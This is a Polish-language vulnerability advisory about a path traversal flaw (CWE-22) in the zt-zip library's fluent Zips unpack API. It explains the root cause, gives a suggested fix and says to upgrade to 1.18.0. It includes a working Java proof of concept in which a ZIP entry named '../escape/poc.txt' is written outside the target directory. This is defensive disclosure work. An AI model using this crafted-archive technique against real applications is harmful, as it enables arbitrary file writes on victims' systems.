Wysoka

zt-zip: Przejście przez ścieżkę (path traversal) w płynnym API rozpakowywania

  • Ujawniono: 09.11.2026
  • Aktualizacja: 10.11.2026 10:00

Podsumowanie

ZipUtil.unpack(...) odrzuca wpisy ZIP wykraczające poza docelowy katalog wyjściowy, jednak płynne API Zips używa odrębnej implementacji rozpakowywania, która nie stosuje tej samej kontroli granic katalogu docelowego.

Wpis ZIP taki jak:

../escape/poc.txt

zostaje zapisany poza skonfigurowanym katalogiem docelowym po przetworzeniu za pomocą:

java
Zips.get(zip).unpack().destination(outputDir).process();

Problem dotyczy również ścieżki z użyciem transformera.

Testowana wersja

commit: 067935dca375500d3ff025aafcdf0e4283931b1a

Przyczyna źródłowa

W src/main/java/org/zeroturnaround/zip/Zips.java, Zips.UnpackingCallback.process(...) buduje plik wyjściowy bezpośrednio z nazwy wpisu ZIP:

java
String entryName = zipEntry.getName();
File file = new File(destination, entryName);

Następnie metoda tworzy katalogi/pliki i kopiuje zawartość do tej ścieżki:

java
FileUtils.forceMkdir(file.getParentFile());
file.createNewFile();
FileUtils.copy(in, file);

Gdy skonfigurowany jest transformer, ten sam file jest przekazywany do transformIntoFile(...).

Przed zapisem w systemie plików nie jest najwyraźniej weryfikowana ścieżka kanoniczna, w związku z czym wpisy zawierające ../ mogą wskazywać poza destination.

Minimalna reprodukcja

java
import java.io.*;
import java.nio.charset.StandardCharsets;
import java.nio.file.*;
import java.util.zip.*;

import org.zeroturnaround.zip.ZipUtil;
import org.zeroturnaround.zip.Zips;
import org.zeroturnaround.zip.transform.ZipEntryTransformer;

public class ZipsTraversalPoc {
  public static void main(String[] args) throws Exception {
    Path work = Files.createTempDirectory("ztzip-zips-poc");
    Path zip = work.resolve("poc.zip");
    Path escaped = work.resolve("escape").resolve("poc.txt");
    String entryName = "../escape/poc.txt";

    Files.createDirectories(escaped.getParent());

    try (ZipOutputStream zos = new ZipOutputStream(Files.newOutputStream(zip))) {
      zos.putNextEntry(new ZipEntry(entryName));
      zos.write("plain branch\n".getBytes(StandardCharsets.UTF_8));
      zos.closeEntry();
    }

    Path zipUtilOut = work.resolve("ziputil-out");
    Files.createDirectories(zipUtilOut);
    try {
      ZipUtil.unpack(zip.toFile(), zipUtilOut.toFile());
      System.out.println("ZIPUTIL_REJECTED=false");
    }
    catch (Throwable t) {
      System.out.println("ZIPUTIL_REJECTED=" + t.getClass().getName());
    }
    System.out.println("ZIPUTIL_ESCAPED_EXISTS=" + Files.exists(escaped));

    Files.deleteIfExists(escaped);

    Path zipsOut = work.resolve("zips-out");
    Files.createDirectories(zipsOut);
    Zips.get(zip.toFile()).unpack().destination(zipsOut.toFile()).process();
    System.out.println("ZIPS_PLAIN_ESCAPED_EXISTS=" + Files.exists(escaped));
    System.out.println("ZIPS_PLAIN_ESCAPED_OUTSIDE_ROOT=" + !escaped.normalize().startsWith(zipsOut.normalize()));

    Files.deleteIfExists(escaped);

    Path zipsTransformOut = work.resolve("zips-transform-out");
    Files.createDirectories(zipsTransformOut);
    Zips.get(zip.toFile())
        .unpack()
        .destination(zipsTransformOut.toFile())
        .addTransformer(entryName, new ZipEntryTransformer() {
          public void transform(InputStream in, ZipEntry entry, ZipOutputStream out) throws IOException {
            out.putNextEntry(new ZipEntry(entry.getName()));
            out.write("transform branch\n".getBytes(StandardCharsets.UTF_8));
            out.closeEntry();
          }
        })
        .process();
    System.out.println("ZIPS_TRANSFORM_ESCAPED_EXISTS=" + Files.exists(escaped));
    System.out.println("ZIPS_TRANSFORM_ESCAPED_OUTSIDE_ROOT=" + !escaped.normalize().startsWith(zipsTransformOut.normalize()));
  }
}

Zaobserwowany wynik:

ZIPUTIL_REJECTED=org.zeroturnaround.zip.MaliciousZipException
ZIPUTIL_ESCAPED_EXISTS=false
ZIPS_PLAIN_ESCAPED_EXISTS=true
ZIPS_PLAIN_ESCAPED_OUTSIDE_ROOT=true
ZIPS_TRANSFORM_ESCAPED_EXISTS=true
ZIPS_TRANSFORM_ESCAPED_OUTSIDE_ROOT=true

Oczekiwane zachowanie

Zips.get(zip).unpack().destination(outputDir).process() powinno odrzucać wpisy ze ścieżkami względnymi wychodzącymi poza katalog lub w inny sposób zapewniać, że ustalona ścieżka wyjściowa pozostanie wewnątrz outputDir.

Wpływ

Aplikacje rozpakowujące kontrolowane przez atakującego pliki ZIP za pośrednictwem płynnego API Zips mogą umożliwić zapis dowolnych plików poza zamierzonym katalogiem docelowym, w zależności od uprawnień w systemie plików i struktury aplikacji.

Sugerowane rozwiązanie

Zastosowanie tej samej walidacji granic docelowych, co w ZipUtil.unpack(...), przed jakimkolwiek zapisem w systemie plików w Zips.UnpackingCallback.process(...).

Na przykład porównanie kanonicznych wartości Path przed utworzeniem katalogów lub plików:

java
file.getCanonicalFile().toPath()
    .startsWith(destination.getCanonicalFile().toPath())

Testy regresyjne powinny obejmować oba przypadki:

java
Zips.get(zip).unpack().destination(out).process();
Zips.get(zip).unpack().destination(out).addTransformer(...).process();

Co trzeba zrobić

Zaktualizuj pakiet org.zeroturnaround:zt-zip do wersji 1.18.0 lub nowszej.

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Java / Kotlin (Maven) org.zeroturnaround:zt-zip < 1.18.0 1.18.0

Odnośniki

Ocena CVSS 8.2/10
Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L
Słabość (CWE)
CWE-22
Platforma
Java / Kotlin (Maven)
Paczka
org.zeroturnaround:zt-zip
Ujawniono
09.11.2026
Aktualizacja
10.11.2026 10:00

Źródła i licencje · Redakcja lub tłumaczenie: DockRay. Zachowano prawa źródeł i obowiązujące licencje.

OSV / GitHub Advisory Database - GHSA-52c6-99qm-3hqr - CC BY 4.0

Historia podatności: org.zeroturnaround:zt-zip

Wszystkie opisane podatności tej paczki (Java / Kotlin (Maven)), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkich wpisów
3
Pierwsza → ostatnia
05.2022 11.2026
Bez poprawki
0
Wykorzystywana w atakach
0

Rozkład istotności

  • Wysoka 1
  • Średnia 2

Ujawnienia w latach

  1. 2022: 1
  2. 2023: 0
  3. 2024: 0
  4. 2025: 0
  5. 2026: 2
  1. zt-zip: Przejście przez ścieżkę (path traversal) w płynnym API rozpakowywania ten wpis
    Wysoka · 8.2 CVE-2026-63436 < 1.18.0 1.18.0

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.